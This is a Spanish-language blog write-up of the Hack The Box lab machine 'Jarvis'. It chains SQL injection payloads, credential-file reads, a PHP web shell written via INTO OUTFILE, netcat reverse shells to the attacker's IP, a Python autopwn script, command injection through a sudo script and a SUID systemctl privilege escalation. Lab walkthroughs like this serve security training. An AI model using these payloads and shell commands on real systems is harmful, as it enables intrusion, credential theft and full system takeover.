lund@home:~$

Autor: Lund K. S.

HTB_Jarvis HTB_Jarvis | Hacker-Blog

HTB_Jarvis

Jarvis {-}

Introduccion {-}

La maquina del dia 18/08/2021 se llama Jarvis.

El replay del live se puede ver aqui

S4vitaar Jarvis maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.143

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.143

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.143 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80,64999, 10.10.10.143 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Conneccion directa usuario y contraseña
80 http Web, Fuzzing  
64999 http Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.143

Vemos un dominio logger.htb pero poco mas. Añadimo el dominio a nuestro /etc/hosts

http-enum {-}

Lanzamos un web scan con nmap.

nmap --script http-enum -p80 10.10.10.143 -oN webScan

Vemos que hay un /phpmyadmin

Analyzando la web con Firefox {-}

Es una web de un hotel donde se puede hacer reservaciones. Cuando miramos mas en profundidad, nos damos cuenta de algo que nos llama la atencion http://10.10.10.143/room.php?cod=6

Si cambiamos el cod con numeros invalidos vemos que intenta mostrarnos algo sin mensajes de error. Vamos a comprobar si esta vulnerable a injeccion SQL## Vulnerability Assessment {-}

SQL Injection {-}

Intentamos ver si la web responde a un ordenamiento de datos para ver si es vulnerable a Injeccion SQL:

http://10.10.10.143/room.php?cod=-1 order by 1 -- -
http://10.10.10.143/room.php?cod=-1 order by 2 -- -
http://10.10.10.143/room.php?cod=-1 order by 3 -- -
http://10.10.10.143/room.php?cod=-1 order by 4 -- -
http://10.10.10.143/room.php?cod=-1 order by 5 -- -
http://10.10.10.143/room.php?cod=-1 order by 6 -- -
http://10.10.10.143/room.php?cod=-1 order by 7 -- -
http://10.10.10.143/room.php?cod=-1 order by 8 -- -
http://10.10.10.143/room.php?cod=-1 order by 9 -- -

Aqui no vemos nada. Intentamos ver con un union select si podemos enumerar las columnas

http://10.10.10.143/room.php?cod=-1 union select 1,2 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5,6 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5,6,7 -- -

Cuando acemos una selection de las 7 columnas, podemos ver en la web que nos reporta estas etiquetas en la pagina.

Jarvis-uio-select Aqui vemos que podemos injectar SQL en las columnas 5 - 2 - 3 - 4

http://10.10.10.143/room.php?cod=-1 union select 1,2,database(),4,5,6,7 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,version(),4,5,6,7 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,user(),4,5,6,7 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,load_file("/etc/passwd"),4,5,6,7 -- -

[ ! ] NOTAS: Si la web no deja incorporar String como en el methodo load_file, se puede transformar el String /etc/passwd en hexadecimal y colocarlo ahi. Haciendo un echo "/etc/passwd" | tr -d '\n' | xxd -ps -> 2f6574632f706173737764 y ponerlo en la web 1,2,load_file(0x2f6574632f706173737764),4,5,6,7

Aqui vemos que tenemos capacidad de lectura sobre ficheros internos passando por la Injeccion SQL. Continuamos

http://10.10.10.143/room.php?cod=-1 union select 1,2,load_file("/proc/net/tcp"),4,5,6,7 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,load_file("/proc/net/fib_trie"),4,5,6,7 -- -

Esto no nos reporta nada. Bueno, ya sabemos que existen 2 usuarios en la maquina:

  • root
  • pepper
http://10.10.10.143/room.php?cod=-1 union select 1,2,load_file("/home/pepper/.ssh/id_rsa"),4,5,6,7 -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,load_file("/home/pepper/user.txt"),4,5,6,7 -- -

Como vemos que no se puede avanzar mucho con la LFI, vamos a tirar mas del analysis de la base de datos.

http://10.10.10.143/room.php?cod=-1 union select 1,2,schema_name,4,5,6,7 from information_schema.schemata -- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,schema_name,4,5,6,7 from information_schema.schemata limit 0,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,schema_name,4,5,6,7 from information_schema.schemata limit 1,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,schema_name,4,5,6,7 from information_schema.schemata limit 2,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,schema_name,4,5,6,7 from information_schema.schemata limit 3,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,table_name,4,5,6,7 from information_schema.tables where table_schema="hotel" limit 0,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,table_name,4,5,6,7 from information_schema.tables where table_schema="hotel" limit 1,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_schema="hotel" and table_name="room" limit 0,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_schema="hotel" and table_name="room" limit 1,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_schema="hotel" and table_name="room" limit 2,1-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema="hotel" and table_name="room"-- -

Aprovechando de la mysql db {-}

Como existe una tabla my_sql probamos a ver si encontramos usuarios y contraseña para esta base de datos.

http://10.10.10.143/room.php?cod-1 union select 1,2,group_concat(User,0x3A,Password),4,5,6,7 from mysql.user -- -

Vemos que existe el usuario DBAdmin con un hash de contraseña, si tiramos de Rainbow Tables como CrackStation vemos la contraseña en texto claro.

Teniendo esto en cuenta, podriamos aprovechar de connectarnos a la routa /phpmyadmin/ para lanzar commandos.

Using SQL Injection para crear ficheros {-}

Mirando las columnas de la tabla hotel, nos damos cuenta que no hay informaciones relevante como usuarios o contraseña. Aqui pensamos que los tiros no van para el mismo camino. Miramos si tenemos capacidad de escritura.

http://10.10.10.143/room.php?cod-1 union select 1,2,"Hola esto es una prueba",4,5,6,7 into outfile "/var/www/html/prueba.txt" -- -

Aqui intentamos crear un fichero prueba.txt que creamos en una de las routas mas communes, y si lanzamos el commando y que navegamos por http://10.10.10.143/prueba.txt vemos el contenido.

http://10.10.10.143/room.php?cod-1 union select 1,2,"<?php system('whoami'); ?>",4,5,6,7 into outfile "/var/www/html/prueba.php" -- -

Aqui vemos www-data como usuario. Vamos a intentar ganar accesso al systema.

[ ! ] NOTAS: todo esto se podria hacer de la misma manera desde el panel phpmyadmin

Vuln exploit & Gaining Access {-}

S4vishell desde un SQL Injection {-}

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. Creamos la s4vishell.php desde el SQL Injection

     http://10.10.10.143/room.php?cod-1 union select 1,2,"<?php system($_REQUEST['cmd']); ?>",4,5,6,7 into outfile "/var/www/html/s4vishell.php" -- -
    
  3. Vamos a la pagina http://10.10.10.143/s4vishell.php
  4. Probamos commandos

     http://10.10.10.143/s4vishell.php?cmd=id
     http://10.10.10.143/s4vishell.php?cmd=hostname -I
     http://10.10.10.143/s4vishell.php?cmd=ps -faux
     http://10.10.10.143/s4vishell.php?cmd=which nc
    
  5. lanzamos una reverse SHELL

     http://10.10.10.143/s4vishell.php?cmd=nc -e /bin/bash 10.10.14.7 443
    

Ya hemos ganado accesso al systema.

whoami 

>www-data

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Autopwn in python {-}

#!/usr/bin/python3

import requests
import pdb
import sys
import signal
import time 
import threading

from pwn import *

def def_handler(sig, frame):
    print("\n[!] Saliendo..\n")
    sys.exit(1)

# Ctrl_C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
create_file = '''http://10.10.10.143/room.php?cod=-1 union select 1,2,"<?php system('nc -e /bin/bash 10.10.14.7 443'); ?>",4,5,6,7 into outfile "/var/www/html/reverse.php"-- -'''
exec_file = "http://10.10.10.143/reverse.php"
lport = 443

def makeRequest():
    r = request.get(create_file)
    r = request.get(exec_file)

if __name__ == '__main__':
    try:
        threading.Thread(target=makeRequest, args=()).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=20).wait_for_connection()
    shell.interactive()

User pivoting al usuario pepper {-}

Hemos podido comprobar que no podiamos leer el fichero user.txt siendo el usuario www-data. Tendremos que convertirnos en el usuario pepper antes de intentar rootear la maquina.

id
sudo -l

Aqui vemos que podemos ejecutar el script /var/www/Admin-Utilities/simpler.py como el usuario pepper sin proporcinar contraseña.

Si lanzamos el script con el commando sudo -u pepper /var/www/Admin-Utilities/simpler.py vemos que es una utilidad que lanza un ping a maquinas definidas por el commando -p.

si nos ponemos en escucha por trazas ICMP con el commando tcpdump -i tun0 icmp -n y que lanzamos el script:

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

> 10.10.14.7

Recibimos la traza ICMP.

Intentamos ver si podemos injectar commandos con el script.

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

> 10.10.14.$(echo 7)

Aqui tambien recibimos la traza ICMP lo que significa que el programa interpreta codigo.

Si nos ponemos en escucha por el puerto 443 con nc -nlvp 443 y que le ponemos

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

> $(nc -e /bin/bash 10.10.14.7 443)

No funcciona. Si miramos el codigo fuente de script en python, vemos que hay caracteres que son considerados como invalidos. Uno de ellos es el -

Decidimos crearnos un fichero reverse.sh

cd /tmp
nano reverse.sh`


#!/bin/bash

nc -e /bin/bash 10.10.14.7 443

Le damos derechos de ejecucion y lanzamos el script una vez mas.

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

> $(bash /tmp/reverse.sh)

Ya hemos podido entablar la conneccion como el usuario pepper y podemos ver la flag.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>
```## Privilege Escalation {-}

### Rootear la maquina {-}

```bash
cd /home/pepper
ls
cd /Web
cd /Logs
cat 10.10.14.7.txt

Aqui vemos que nos a loggeado toda la Injeccion SQL.

id
sudo -l
find \-perm -4000 2>/dev/null

Vemos que systemctl es SUID y que tiene proprietario root

cd 
mkdir privesc
cd privesc
cp /tmp/reverse.sh privesc.sh

Aqui nos vamos a crear un systemctl service file -> nano privesc.service

[Unit]
Description=EEEEEEEe

[Service]
ExecStart=/home/pepper/privesc/privesc.sh

[Install]
WantedBy=multi-user.target
  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. Creamos un link del servicio

     systemctl link /home/pepper/privesc/privesc.service
    
  3. Lanzamos el servicio

     systemctl enable --now /home/pepper/privesc/privesc.service
    

whoami -> root ;)